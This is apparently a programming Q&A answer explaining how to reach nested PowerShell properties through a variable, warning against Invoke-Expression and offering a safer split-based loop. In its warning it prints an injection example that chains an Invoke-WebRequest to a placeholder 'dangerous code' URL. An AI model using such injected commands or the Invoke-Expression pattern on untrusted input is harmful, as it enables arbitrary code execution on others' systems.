Can I access an object's nested properties using a variable?

An interesting feature of PowerShell is that you can have properties that contain a period. For example:

[pscustomobject]@{'a.b.c' = 'example'}

This means that in your question since $x is string, (Get-Date).$x won't be parsed in dot notation as separate property names. But as (Get-Date).'psobject.Properties.Name'

The lazy way around this is to use Invoke-Expression to first build the string before evaluation.

$x = 'psobject.Properties.Name'
Invoke-Expression "(Get-Date).$x"

This is usually acceptable as long as the definition of $x is a static value that you defined. But if something else sets the definition of $x, you can get into a Bobby Tables situation with arbitrary code being executed. For example:

$x = 'psobject.Properties.Name; Invoke-WebRequest http://example.com/superdangerouscode!!!'
Invoke-Expression "(Get-Date).$x"

So if you can rely on your definition of $x to be in a dot delimited notation, you could use the split() method on dots to turn the value into an array to loop over.

$Date = (Get-Date)
$Properties = 'psobject.Properties.Name'.split('.')
$Properties | ForEach-Object {
    if ($_ -ne $Properties[-1]) {
        #iterate through properties
        $Date = $Date.$_
    } else {
        #Output last value
        $Date.$_
    }
}